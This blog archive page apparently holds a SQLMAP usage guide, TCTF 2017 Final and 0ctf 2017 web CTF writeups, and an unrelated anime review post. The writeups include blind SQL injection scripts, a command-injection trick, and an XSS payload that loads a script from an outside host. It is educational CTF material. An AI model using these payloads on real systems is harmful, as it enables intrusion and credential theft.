SQLMAP 人工辅助注入简介

以前在平时比赛的时候很少用 SQLMAP,一是感觉这样显得自己好像什么都不会,二是真实原因,并不是很会用这个东西,直接测基本是测不出来的,也懒得用。

然而现在渐渐的纠正了自己的这一认识,实习期间也偶尔会遇到需要 SQLMAP 取一些测试数据的时候,这时候研究了一下才念起了 SQLMAP 的好来,原来经过指导还是很聪明的工具,当然也有被折磨疯的时候,因为有时候就是教不会,原因还得继续探索,然而这个过程仍然收获了一些东西,记录下来分享一下。

  • SQLMAP 辅助注入的参数
    • 指定数据库系统
    • 指定注入技术
    • 指定对返回值的判断依据
    • 指定 UNION 查询具体的列数
  • TAMPER 模块的编写
    • 何时需要用 TAMPER
    • 编写规范
  • 中转脚本的编写
    • 何时需要用中转脚本
    • 编写规范
  • 如何判断后端数据库

SQLMAP 辅助注入的参数

指定数据库系统

参数很好记,就是 --dbms=DBMS 这样的形式,可以跳过大量的检测,比如已经确定后端用的数据库是 MySQL 的话,可以直接指定该参数为--dbms=mysql

指定注入技术

共有六个可选项,参数写法为--technique=TECH,根据 SQLMAP 手册,该参数可能存在的值有 B、T、E、U、S,分别对应基于布尔值的盲注,基于延时的盲注,基于错误回显的注入,联查注入,以及堆查询注入。还有一个选项是 Q ,我不是很懂做什么用的,懂得同学求教一下。

指定对返回值的判断依据

有四个常用选项,都是用于布尔注入的

--string=true-string ,当页面返回中包含这个 true-string 时,让 SQLMAP 认定这个返回为 True
--not-string=false-string,当页面返回中包含这个 false-string 时,让 SQLMAP 认定这个返回为 False
--regexp=regexp,当页面与 regexp 所示的表达式存在匹配时,认定为 True
--code=HTTP_CODE,当 HTTP 响应的 CODE 为 HTTP_CODE 时,认定为 True。

这就用在 SQLMAP 自己判断不出来页面返回的区别时,我们手动指定返回内容对应的真假来帮助 SQLMAP 识别出来到底发生了什么。

指定 UNION 查询具体的列数

也是一个节约时间的选项

--union-cols=range,比如可以写 --union-cols=8-10,那么在检测 UNION 注入的时候就只会检查 8 到 10 列这个范围了。

TAMPER 模块的编写

何时需要用 TAMPER

这是调教 SQLMAP 的关键一步,因为我们实际情况遇到的总是千奇百怪的过滤,虽然 SQLMAP 已经自带了许多 TAMPER 能绕过一些常见过滤,然而还有很多时候会遇到许多畸形的过滤,我们也就需要自己编写 TAMPER 了。

编写规范

我们来看一下 SQLMAP tamper 目录下最小的一个例子

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Slash escape quotes (' and ")

    >>> tamper('1" AND SLEEP(5)#')
    '1\\\\" AND SLEEP(5)#'
    """

    return payload.replace("'", "\\'").replace('"', '\\"')

显而易见, tamper 函数是我们需要关注的主要函数,其第一个参数为 SQLMAP 使用的 PAYLOAD,从注释也可以看出来,我们仅仅只是编写了一个能够处理当前字符串的函数而已,也就是说把绕过过滤的方法写进去就好喽,着实是很简单的,没什么规范可言,简而言之就是瞎写。

中转脚本的编写

何时需要用中转脚本

其实有了中转脚本就不需要使用 TAMPER 了,因为中转脚本也可以处理 PAYLOAD 来绕过后端的过滤,那么为什么要用中转脚本呢?不知你是否有遇到过这种情况,这里明显有注入然而 SQLMAP 就是判断不出来,那你和 SQLMAP 两个总有一个是傻逼吧???

为了证明你不是傻逼,你需要写一个中转脚本向 SQLMAP 证明你不是傻逼他是傻逼,因为 SQLMAP 对页面回显有时候判断的很捉鸡,我们需要帮他处理一下结果来符合他内部的匹配规则。

比如说一个页面返回了 JSON,JSON 其中某个参数的变化意味着注入的返回值为 True 还是 False,然而 SQLMAP 就是判断不出来,那还能怎么办,也很绝望,只好写一个脚本把这部分提取出来,然后只显示这部分,来让 SQLMAP 感受到区别,或者检测某个标志,发现了这个标志就返回 1,否则返回 0,也有不错的效果。

编写规范

这个哪里有什么编写规范……

放一个 PHP 的示例,接受一个参数,我们在后端构造好完整的参数,通过 cURL 发出去即可。

<?php
$type = $_POST['type'];
$content = "productType=Y&uuid=xxxxxxxxxx&pageNum=1&orderType=" . $type;
$header = array("Content-Type: application/x-www-form-urlencoded",
        "X-Requested-With: XMLHttpRequest",
        "User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4",
        "Content-Length: ".strlen($content));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://xxxxxxxxxx");
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLINFO_HEADER_OUT, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, $content);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$result=curl_exec($ch);
curl_close($ch);
if(strstr($result, "code")){
    echo "error";
}else if(strstr($result, "500")){
    echo 1;
}else{
    echo 0;
}
?> 

大致是如此啦。

如何判断后端数据库

在刚才指定的 --dbms 参数中,我们如何先手动判断出来后端数据库系统呢?之前在小密圈分享过,在这里也分享一下吧。

a. MySQL 的判断。

(1)如果说既能够使用— –作为注释标志,又能够使用#做注释标志,那么基本可以确定是 MySQL

(2)行间注释 /*!version command*/,这样的语法是 MySQL 专属,其中 version 是一个数字,如果 MySQL 的版本大于这个数字的话就会把 command 作为 SQL 语句的一部分。

/*!50000SELECT*/

如果 MySQL 的版本大于5.00.00的话就会把 SELECT 识别出来。这个特性同样可以用来探测 MySQL 的版本号

(3) 既可以使用 SUBSTR 函数又可以使用 SUBSTRING 函数,也可以基本确定是 MySQL。

(4) 能够使用 trim 函数、 rtrim 函数、 ltrim 函数,但是不能使用 btrim 函数(Postgresql 以及 AWS Redshift SQL 所有),可以基本确定后端使用了 MySQL 。

(5) 一些 MySQL 特有的函数,比如 conv()、load_file()(读取文件的函数需要权限)、benchmark() 等,还有一些能够返回整型结果的函数,比如 connection_id(),last_insert_id(),row_count()。

(6) MySQL 独有的数据库也可作为判断依据,即 information_schema, mysql。

(7) 构造除 0,即 1/0 等,若是 MySQL 则会返回 NULL。

b. SQL Server 的判断

(1) 能够利用 waitfor delay time做到延时注入,可以确定是 SQL Server。

(2) 若能够做到 UNION 注入,那么直接查看 @@version 的值是一个判断数据库的更好的选择(这在 MySQL 中也可使用)

(3)几个特殊的表也可用于判断。

master..sysmessages、master..sysservers

(4)如果能够使用 TOP 语法,很有可能是 SQL Server

SELECT TOP 1 column_name FROM table_name;

(5)能够使用 + 号连接字符串,可以判定是 SQL Server

SELECT ‘a’ + ‘a’;

(6)能够通过 @@pack_received 与 @@rowcount 返回整型结果的,可以判定是 SQL Server

c. ORACLE 的判断

(1) oracle版本的探测方法

select version from v$instance;

(2)支持 minus select 是 ORACLE 的显著特征

(3) ORACLE 支持使用 || 作为字符串连接符,当然 MySQL 在 sql_mode 为 ANSI 时也支持,但是这需要手动设置,还有 PostgreSQL 也支持使用 || 连接字符串。

(4)ORACLE 特有函数 BITAND(),可用于判断,如 BITAND(1,1) 会返回 1。

d. PostgreSQL

(1)PostgreSQL 有一个区别于其他 SQL 数据库的特殊操作符,::,官方称之为 typecast,即他可以用于声明类型。
SELECT 1::CHAR;会将 1 作为字符串类型,若使用SELECT 1.1::INT; 则会将 1.1 转化为 1,则该特性可用于判断后端是否为PostgreSQL

(2)PostgreSQL 支持使用 || 连接字符串。

(3) PostgreSQL 中有开平方根和开立方跟与阶乘的操作符

SELECT |/ 25.0;结果是5
SELECT ||/ 27.0;结果是3

(4) PostgreSQL 特有函数 pg_sleep(),若产生延时则可确定是 PostgreSQL

TCTF 2017 FINAL WEB PARTIAL WRITEUP

本次比赛 WEB 部分完成了四道题目,在新人赛中获得了冠军,从全局题目完成度来看也是大概第四第五的样子,团队的力量终于凸显了出来。

这里留下 WEB 部分的 WRITEUP,鹿师傅呜呜呜。。我总算更新了。

AVATAR CENTER

这题一开始看了半天不知道啥意思,测了好久没什么头绪,感觉要猜到目录,后来通过注入发现头像的默认路径,看起来上传的头像不会在 WEB 目录了,于是扫了一下端口发现了个奇怪的端口 2121 是 ftp 的,想不到能直接匿名访问…

于是开始源码审计。

首先在登录处的注入,这个盲测也能测出来

    $username = $request->getParam('user');
    $password = $request->getParam('pass');
    if (!$username or !$password) {
        $response->write("error");
        return $response;
    }

    $this->db->table('users');
    $this->db->where("username", "=", $username);

    if ($user = $this->db->select()) {
        if ($user['password'] === md5($password))
        {
            $this->sess->set('user', $user);
            $this->profile->setdir($user['username']);
            $tz = $this->profile->getTZ();
            $this->view->render($response, 'index.tpl', array(
                'success'=> 1,
                'info' => 'Login Success',
                'username' => $username,
                "tz" => $tz
                ));
            return $response;
        }
        else
        {
            $this->view->render($response, 'login.tpl', array(
                'fail'=> 1,
                'info' => 'Password Wrong'
            ));
            return $response;
        }
    }
    else {
        $this->view->render($response, 'login.tpl', array(
            'fail'=> 1,
            'info' => 'No Such User'
        ));
        return $response;
    }
})->setName('login');

在选数据库内容的时候没调用 filter 过滤而是直接

    $this->db->table('users');
    $this->db->where("username", "=", $username);

接着 setTZ 处有一命令执行

$app->post('/setTZ', function(Request $request, Response $response) {
    $user = $this->sess->get('user');
    if ($user == Null)
        return $response->withStatus(301)->withHeader('Location', '/');

    $this->profile->setdir($user['username']);

    $tz = $request->getParam('data');
    if ($tz == Null) {
        $response->write("error");
        return $response;
    }

    if (strlen($tz) != 6) {
        $response->write("tz format error");
        return $response;       
    }

    $this->profile->setTZ($tz);
    $response->write("update tz success");
    return $response;
})->setName('setTZ');

跟到 setTZ 函数

    public function setTZ($tz) {
        exec(sprintf("echo %s > %s%s/TZ", $tz, $this->profile_savepath, $this->getdir()));
    }

则这里是限制了字符串长度的命令执行,全局命令执行过滤了一些字符但是没过滤 |, 命令执行的结果会被输出到用户文件夹下的 TZ 中。

比赛结束后知道了别人的做法是 |*/re* 我自己是用了 $this->getdir() 得到的路径和用户名有关来做的,通过注入来把$this->getdir() 得到的内容变成 xyz -c ‘readflag’ tmp/profile/melody 然后命令执行处写|sh ,这样结果就被放到 /tmp/xyz 下了。

主要是因为 escapeshellcmd 不过滤成对的引号,所以可以直接用 sh -c 执行命令

OCEAN FISH 1

这个没啥好说的,本地写一个 CI 的 demo


<?php defined('BASEPATH') OR exit('No direct script access allowed'); class Test extends CI_Controller{ public function __construct(){ parent::__construct(); $this->load->model('test_model', '', TRUE); } public function index(){ $this->test_model->test($_GET[233]); } }

而 Model 为

<?php

class Test_model extends CI_Model{

    public function __construct(){
        parent::__construct();
    }

    public function test($column_name){
        $result = $this->db->select($column_name)->from('users')->get()->result();
        var_dump($result[0]->title);
        echo $this->db->last_query();
    }
}

拿 xdebug 调试了一下,发现后面字段名后面跟上一对引号接着就完全没过滤了,一对引号内是字段的别名,根据如何取查询结果改变,因此可以 union

最终应该是这个payload

group_concat(table_name)''from information_schema.tables where table_schema=database() union select 1

然后取了表名字段名后取用户名密码即可~

UGLY WEB

该题目提供了源代码,全局所有输入都被过滤了,注意到存在一处反序列化函数,将 cookie 中的一个内容base64解码再反序列化后代入数据库查询。

注意到一个类有 toString 方法直接返回了某个成员变量,所以可以用这个来绕过过滤,在此不再多说,数据库里有第一个 flag, 第二个 flag 是 admin 的 cookie……我一开始一直以为两道题一个网址原来是两个网址,比赛结束了之后才知道,通过 csrftoken 来预测随机数从而得到一个重置密码的 token,将 admin 的密码重置后登录获得 flag

LUCKY GAME

这道题全场包括国际赛队伍在内只有我们做出来了,还是小小的自豪一下。

同样提供了源代码,只有一个文件,异常简洁

<?php session_start(); ?>
<!DOCTYPE html>
<html>
<head>
    <title>Lucky Game</title>
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Raleway:200">
    <link href="https://fonts.googleapis.com/css?family=Noto+Sans" rel="stylesheet">
    <link rel="stylesheet" href="https://unpkg.com/purecss@0.6.2/build/pure-min.css" integrity="sha384-UQiGfs9ICog+LwheBSRCt1o5cbyKIHbwjWscjemyBMT9YCUMZffs6UqUTd0hObXD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://purecss.io/combo/1.18.13?/css/main-grid.css&/css/main.css&/css/menus.css&/css/rainbow/baby-blue.css">
    <style>
    .header{font-family: 'Noto Sans', sans-serif;}
    .header h1{color: rgb(202, 60, 60);}
    .button-error {background: rgb(202, 60, 60);}
    .button-success {background: rgb(28, 184, 65);}
    </style>
</head>
<body>
<div id="layout">
<div id="menu">
    <div class="pure-menu">
        <a class="pure-menu-heading" href="#">TCTF</a>
    </div>
</div>
<div id="main">
    <div class="header">
        <h1>幸运数字</h1>
        <h2>Shall we play a "lucky" game?</h2>
    </div>
<div class="content">
<?php

require 'config.php';
if (!$link=mysqli_connect('localhost', MYSQL_USER, MYSQL_PASS)) die('Connection error');
if (!mysqli_select_db($link,'luckygame')) die('Database error');

$tbls = "SELECT group_concat(table_name SEPARATOR '|') FROM information_schema.tables WHERE table_schema=database()";
$cols = "SELECT group_concat(column_name SEPARATOR '|') FROM information_schema.columns WHERE table_schema=database()";
$query = mysqli_query($link,$tbls,MYSQLI_USE_RESULT);
$tbls_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);
$query = mysqli_query($link,$cols,MYSQLI_USE_RESULT);
$cols_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);


# CREATE TABLE users(id int NOT NULL AUTO_INCREMENT,username varchar(24),password varchar(32),points int,UNIQUE KEY(username),PRIMARY KEY(id));
# INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10);
# CREATE TABLE logs(id int NOT NULL,log varchar(64));


foreach($_POST as $k => $v){
    if(!empty($v) && is_string($v))
        $_POST[$k] = trim(mysqli_escape_string($link,$v));
    else
        unset($_POST[$k]);
}

foreach($_GET as $k => $v){
    if(!empty($v) && is_string($v))
        $_GET[$k] = trim(mysqli_escape_string($link,$v));
    else
        unset($_GET[$k]);
}


function filter($s){
    global $tbls_name,$cols_name;
    $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
    if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
    return $s;
}

function register($username,$password){
    global $link;
    $q = sprintf("INSERT INTO users VALUES (NULL,'%s',md5('%s'),10)",
        filter($username),filter($password));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    return TRUE;
}

function login($username,$password){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s' AND password = md5('%s')",
        filter($username),filter($password));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    if(count($result)>0){
        $_SESSION['id'] = $result['id'];
        $_SESSION['user'] = $result['username'];
        return TRUE;
    } else {
        unset($_SESSION['id'],$_SESSION['user']);
        return FALSE;
    }
}

function user_log($s){
    global $link;
    $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
        filter($_SESSION['id'].'|'.$s));
    if(!$query = mysqli_query($link,$q)) return FALSE;
    return TRUE;
}

function update_point($p){
    global $link;
    $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
        $p,$_SESSION['id']);
    if(!$query = mysqli_query($link,$q)) return FALSE;
    if(!user_log("Update ".$p)) return FALSE;
    return TRUE;
}

function my_point(){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s'",
        filter($_SESSION['user']));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    return (int)($result['points']);
}

switch(@$_GET['action']){
    case 'register':
        if(!empty($_POST['user']) && !empty($_POST['pass']))
            if(!register($_POST['user'],$_POST['pass']))
                die("<aside>Something went wrong!</aside>");
        break;
    case 'login':
        if(!empty($_POST['user']) && !empty($_POST['pass']))
            login($_POST['user'],$_POST['pass']);
        break;
    case 'logout':
        unset($_SESSION['user'],$_SESSION['id']);
        break;
    default:
        break;
}

if(empty($_SESSION['user'])){
    echo <<<EOF
        <form action="?action=register" method=POST class="pure-form pure-form-stacked">
            <fieldset>
                <input type=text name=user required placeholder="Username" />
                <input type=password name=pass required placeholder="Password" />
                <button type="submit" class="pure-button pure-button-primary">Register</button>
            </fieldset>
        </form>

        <form action="?action=login" method=POST class="pure-form pure-form-stacked">
            <fieldset>
                <input type=text name=user required placeholder="Username"  />
                <input type=password name=pass required placeholder="Password" />
                <button type="submit" class="pure-button pure-button-primary button-success">Login</button>
            </fieldset>
        </form>
EOF;
    die();
}

$points = my_point();

if($points == 1337){
    user_log('winner');
    echo "<h3>Well played, we will give you a reward soon.</h3>";
}

echo <<<EOF
    <h1>Hello <a href='?action=logout'>{$_SESSION['user']}</a></h1>
    <h2>You got {$points} points</h2>
    <form method=GET class="grid-panel pure-form-aligned pure-form">
                    <div class="bet-control pure-control-group">
                        <label for="bet-input">
                            Your bet
                        </label>
                        <input name="bet" id="bet-input" data-content="bet-input"
                               type="number" min="0" max="16" value=1>

                    </div>

                    <div class="guess-control pure-control-group">
                        <label for="guess-input">
                            Your guess
                        </label>
                        <input name="guess" id="guess-input" data-content='guess-input'
                               type="number" min="0" value=1>
                    </div>
        <button type="submit" class="pure-button pure-button-primary button-error">Place</button>
    </form>

EOF;

if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
    echo "<aside>";
    if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
    $number = rand()%8;
    echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
    if( $number == $_REQUEST['guess'] ){
        echo "You won!";
        if(!update_point($_REQUEST['bet']))
            return;
    } else {
        echo "You lost :(";
        if(!update_point(-$_REQUEST['bet']))
            return;
    }
    echo "</aside>";
}

mysqli_close($link);
?>

</div>
</div>
</div>
</body>
</html>

注意到 my_point() 函数把 \$_SESSION 里的东西直接带入到了数据库查询中,虽然在注册的时候有过滤也代表了这里有二次注入的危险。

update_point() 这里有同样的问题。

但是问题来了,在注入语句里不能出现任何的已存在的表名和字段名…flag 是 admin 的密码,如何做到呢?

在过去出现类似的限制时都是通过 join 之类的 trick 做到的,但是没有哪次有这次限制的这么死,我去看了下 MySQL 的参考手册,想到了一个获得 admin 密码的方法。

注意看 my_point 函数

function my_point(){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s'",
        filter($_SESSION['user']));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    return (int)($result['points']);
}

其中获取分数用的语句是

SELECT * FROM users WHERE username = '%s'

这说明 username 和 password 也是在结果集内的,如何获取呢?

MySQL 关于 SELECT 语法中有一个 into 的说明,以前以为只能 into outfile 或者 dumpfile,再看了次手册才发现还可以 into variable,就是限制条件为结果集中只能有一行。

那么我们注册一个 admin’into @a,@b,@c,@d# 是不是就能将 admin 的密码存储到 @c 变量中了呢?答案是肯定的。

而且这个payload 和用户名的长度限制极其接近。。让我几乎肯定了自己的想法,接下来就是如何使用这个变量的问题,因为@开头的变量是临时的变量,只有@@开头的变量才是系统变量,临时变量是不会在下一次连接中存活的,而系统变量不能在 into 语法内设置…所以唯一的思路就是在取得了这个变量值后在下一个流程中存在的注入内获得这个变量值,这个题目恰好两个注入,另一个注入存在于 update_point 中,update_point 将 REQUEST[‘bet’] 代入了 user_log 中,全局过滤没有过滤 REQUEST 数组,所以思路可行,我们可以通过构造 UPDATE 语句来选择性的让 user_log 返回 TRUE 或者 FALSE,如果返回了 FALSE 则 html 输出的最后一部分就不会输出了,因为 php 程序直接 return 了,而如果返回了 TRUE 则程序流程正常执行。

但是另一个难点又来了。。

if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
    echo "<aside>";
    if($_REQUEST['bet'] > $points) die("What?! you're cheater!");

因为用户名中用了 into 语法,导致结果不回显, points 变量永远是 0 ,也就要让

(int)$_REQUEST['bet'] > 0 

if($_REQUEST['bet'] > $points) die("What?! you're cheater!");

这两个检查要同时通过

考虑到上一个检查有强制类型转换,加上提示也说了是有 PHP 的问题的,试了半天无果,最后 Kira 去看了 PHP 7 的源代码,发现在科学计数法字符串转换为数字时,如果 E 后面的数小于某个值会弄成 double 类型,再强制转换为 int 类型时可能会有奇妙的结果,测试发现 bet 为 1e-1000 时已经可以触发这个 bug 绕过两个检查, 使得 bet 既大于 0 又不大于 0。至此思路全部通顺了。

下面附上注入的脚本

# -*- coding: utf-8 -*-
import hashlib
from string import ascii_letters, digits
import requests
import re

url = 'http://192.168.201.3/'
header = {'cookie': 'PHPSESSID=ca0274qg9k80ttdaotftnpg7u7'}
flag = ''
exit_flag = False
for i in range(1, 33):
    for j in ascii_letters + digits:
        payload = "1e-1000' in (concat('123',1/(substr(@c,%d,1)='%s'))))#" % (i, j)
        while True:
            res = requests.post(url, data={'guess':'1', 'bet':payload}, headers=header).text
            # print res
            # raw_input()
            if ('won' in res) and ('</aside>' in res):
                exit_flag = True
                print i
                flag += j
                print flag
                break;
            elif ('won' in res):
                break
            else:
                continue
        if exit_flag:
            exit_flag = False
            break;

至于为啥我还用了那么复杂的语法主要是因为 MySQL 5.7 对类型的要求非常严格,导致我不能直接通过位运算来构造除 0 报错。只好通过类型容忍度比较高的 concat 函数来构造除 0 报错。

简单谈谈过去一年看得动漫

本来是想更新 bctf 的 writeup 的,然而那边还在审核我也不太好发,总是更新 writeup 似乎也不太好,可能还是得多点生活的气息。过去的一年总有种自己把自己的路走得愈发狭隘的感觉,专注是更专注了,却又似乎不是那么看得开了,的确是难以取舍。在一种状态下对另一种状态的憧憬总是盲目的,而真正看到不一样的风景之后才发现获得同样意味着失去……额扯远了,还是说说这一年来看得动漫,大致体现的是我本人的喜好,仅发表个人意见。

(1) 银之匙

这部动漫是 melody 开始看动漫以来所见过的最具生活气息的动漫,故事选材为少见的农业高中生活,原作者牛姨本人对这一题材本身非常熟悉,以至于这个故事处处充满着细节上的惊喜。之所以能成为一个优秀的作品,或许正是因为它用最为朴实的话题展现了我们平时在生活中忽略的种种美妙,故事的主人公八轩本为逃避而来到了农高,却因此收获了真诚的友谊与充实的生活,八轩也因此逐渐的能够正视自己,逐渐的敢于去面对自己的内心的软弱,这也是故事最为打动我的地方,从他的身上我看到了一直以来无法真诚的面对内心诉求的自己… 女主角御影在人设上或许比不上目前动画中出现的千奇百怪的美少女,但却是我见过的女性角色中最为耐看、最为自然、最令人喜欢的一位,与男主角的感情路线进展的缓慢而又自然(算了。。我也不懂恋爱啥感觉QAQ)。总之,这是一部非常贴近生活、贴近回忆的作品,没有背负命运的美少女,没有无法抵抗的强大力量,所有人需要面对的,只有面前巨大庞然的生活。

顺便推荐本作第二季的 ed オトノナルホウヘ→,演唱的乐队是 Goose House,也是四月是你的谎言这部动画的片头曲的演唱者,是一首充满了十足正能量与慰藉的曲目。网易云音乐链接:http://music.163.com/#/song?id=28258450

(2) 3月的狮子

与《银之匙》一样,《3月的狮子》也是由漫画改编而来的动画作品,与前者不同的是,三月的狮子顺利完结了而银之匙却无限期休更…QAQ。

推荐这部动漫的主要原因是里面的人物着实闪闪发光太过耀眼,虽然在我的视角看来有些事情有诸多荒谬之处,比如一个将棋之家只有一人能够得到认可而其他人却要因此蒙受阴影之类的设定,不过因为我本人对日本将棋的制度并不了解不便多做评论,还有就是主人公桐山零的姐姐为毛线会爱上一个老成那样子的男人而且这个男人还看起来这么面目可憎却又不像个坏蛋…尽管有着诸多怪异的感觉,这部慢节奏的动画仍然带给了我主观上的奇妙感受,它的特点的确是节奏很慢,但又把控的很得当(也就是说故事的节奏不会慢到你想睡觉但是又让你感到每一集的剧情实在是太少了)。故事之中的川本三姐妹都是个性十分鲜明的角色,明里姐浑身上下都散发着母性的光芒,日向则是让周围的空气都能欢快跳跃的女孩,小桃则是代表本作中最为天真善良的一方(说实在的小桃个性不算鲜明,虽然出场次数很多但大多表现就是很粘男主角)。或许本作有着很多的不足之处,但是其优质的画面和紧紧围绕主线展开的剧情仍然让人侧目,值得各位一看。

“温暖是被染上颜色的桥,连接着六月町和三月街,对面是名为家的日向三姐妹;琐碎是小雏见到喜欢的人时脸上的红晕,小桃哼着的歌曲,明姐穿的花布裙,和总是在吃吃喝喝的猫咪;不安是目前的踟蹰不前,是问自己真的可以这样依赖着日向三姐妹吗的心情。”

3月的狮子,倾情推荐.

(3) 从零开始的异世界生活

说实在的这部作品我算是喜欢不过达不到非常喜欢的地步,因为作者对待男主角也太过分了TAT,什么玩意儿啊,咋回事儿啊,我就没见过这么挫的男主角…

不过优秀的人设与音乐还是让我在这里下定决心推荐一下,看看还是能看的,虽然在设定上,男主角在经历了无数的痛苦与绝望后仍然只有自己知道而无法被其他人理解的绝望算是一个亮点,也极易引起人们的共鸣,但是对于男主角的心境变化在动画中体现的并不明显,不过毕竟看动画主要还是为了放松精神,没必要动不动就要人生的意义,仅就这一点来说本作已经算是优秀,本作在保证了基本的故事性之外还能探讨一些别的东西,引起观众精神上的震颤,可以说是极为成功了,也是16年新番中当之无愧的热门。

(4) 在下坂本,有何贵干

个人仅仅将这部作品当作休闲作品,其故事的荒谬性已经接近 YY 程度了,让我看到了一个作者在脑内自娱自乐所诞生的产物,世界的所有人必将拜倒在坂本的脚下,无人不会被他以人格魅力征服,帅气,炫酷,所有女生都喜欢,额…算了不提了,想想还是相当有趣的,也会让我想起自己在疯狂YY时嘴角无意间会露出的笑容(好丢人啊),而且教了大家很多清新脱俗的装逼技巧,喜欢的朋友们可以尝试看一下。

(5) 双星之阴阳师

三个字 不喜欢,制作经费十分捉鸡,经常能看到人物的下巴变成简单的三角形,同时很多地方有凑集数的嫌疑,然而他的 op 和 ed 却让人感到使用了大量经费,音乐也还算可以。在此不再多提。

(6) 人渣的本愿

希望我这辈子不要再看到类似的作品,我很难接受…也无力探讨

(7) 超时空要塞delta

延续了超时空要塞战场歌姬的设定,但是却从战后唱歌变成了战场飙歌,还是一言不合就飙歌,他们以为他们是猫哥吗??? = =

剧情在开头还是不错的,然而后期过于草率,本部作品火起来的原因或多或少与那首有毒的 giligili 爱有关系,的确这部作品的音乐十分耐听,可见下足了功夫,我个人更喜欢芙蕾雅在第三话中清唱的《我们的战场》,纯净的声线让人升起无穷的遐想与向往。

虽然剧情到后期变得异常奇怪,不过还是有几个场景触动了我,其中值得一提的是梅萨在即将失控时请要小姐为他唱 AXIA 时,的的确确感受到了真情流露,当要小姐唱出 “此刻所见的笑容,或许就是最后的笑容。即便是面对他人交谈的侧颜,每一秒也予以珍重” 时,备受触动,在过去的一年里我也的的确确忽略了太多东西…忽略了许多对我的关心,应该也伤害了不少人的感情…倍感惭愧,希望未来的日子里能够好好珍惜眼前时光中的人与事。

哦对了梅萨被这句歌词奶死了…

(8)月刊少女野崎君

住院期间看了的,0 0似乎主要讲的是少女心事,对于男主角我也一直搞不懂他在想什么…暂不推荐等下一季。

0ctf 2017 quals web writeup

simplesqlin

送分的题目,后端似乎有特殊过滤,总之%0d会被去掉,放在关键词中间绕过过滤即可。

Temmo’s Tiny Shop

这道题感觉做出来很巧合,一开始不知道用的谁的 admin 账户登陆上去了,后来是没再成功过估计是弱口令被改了…

登陆上去之后发现钱好多啊…就都买了一次,发现只有被买的东西才会出现在搜索结果当中。所以每样都买了一个。

经过简单的测试,发现 keyword 字段经过了转义,所以基本杜绝了注入的可能,而 orderby 有严格的过滤,跑了一次 ascii 0-255 得到能够使用的符号有逗号与括号。

买了 hint 知道 flag 在哪个表了。于是就使用这个去跑。

首先猜测后端的语句。

select * from xxx where name like ‘%yyy%’ order by hhh;

本地测试发现 hhh 处没有单引号包裹,具体测试方法也就是测试一下单引号包裹和他的表现是有区别的,随便测测就知道了,不细讲了。

这样就可以用盲注了,我使用if(condition,name,price) 如果condition为真则按照name排序,否则按照price排序。

上脚本。

from requests import get,session

sess = session()

url = 'http://202.120.7.197/app.php?action=search&keyword=&order=if((select(select(flag)from(ce63e444b0d049e9c899c9a0336b3c59))like(%s25)),name,price)'

flag = '0x25746564'

header = {
    'Cookie':'PHPSESSID=ujgvf3k1i51oildmlps410bau5'
}

dic = 'abcdefghijklmnopqrstuvwxyz0123456789_}'

for i in range(0,40):
    for j in dic:
        bit = hex(ord(j))[2:]
        cont = get(url % (flag + bit),headers = header)
        if cont.content.find('Backsword') < cont.content.find('Brownie'):
            flag += bit
            print flag
            break

有长度限制,所以是慢慢跑出来的,首先跑flag{前面比较明显的部分,后面就以下划线为单位跑。跑出来一个单词就把这个单词换成%_再接着往下一个下划线跑。最终得到flag 实际上也是不完整的,猜了一个单词is。。。

KoG

seccon final 2016 遇到过,当时就很崩溃,不过这次要简单得多。

这emscripten编译的东西首先会检查你在url中传入的 id 参数是否存在sql注入,如果有就会返回给你个错误信息而不给你正确的hash值,推测他是在一个if分支里判断然后给你return掉。。。

一个一个return找过去,排除掉库函数,最终定位到两个if,全都改成0就绕过了判断,生成hash值传给服务端。

后端的注入没有任何过滤,都很简单。

complicated xss

在 government.vip 这个根域提交信息,然后在 admin 子域去上传文件。有几个坑点。

发现 admin 子域用 test 登陆上去之后,有一个保存用户信息的 cookie 是 httponly 保护的,所以直接 xss 得到 cookie 去传文件是不现实的,只能利用 csrf 。

发现登录后有一个 cookie 值是用户名,会被显示在前端,存在 xss

所以思路是 在根域设置admin域的cookie。

有一个坑,一开始发现无论如何都设置不起来,后来查了下一些需要遵循的标准知道了如果 path 不同的话是不能写重名 cookie 的,admin浏览我们的页面的时候在 /data/ 这个目录,所以需要设置 path 为 /。

第一个payload:

<script>
location.href='http://admin.government.vip:8000/';
document.cookie='username=<script src=//xss.lt/evil.js><\/script>;domain=government.vip;Path=/';
</script>

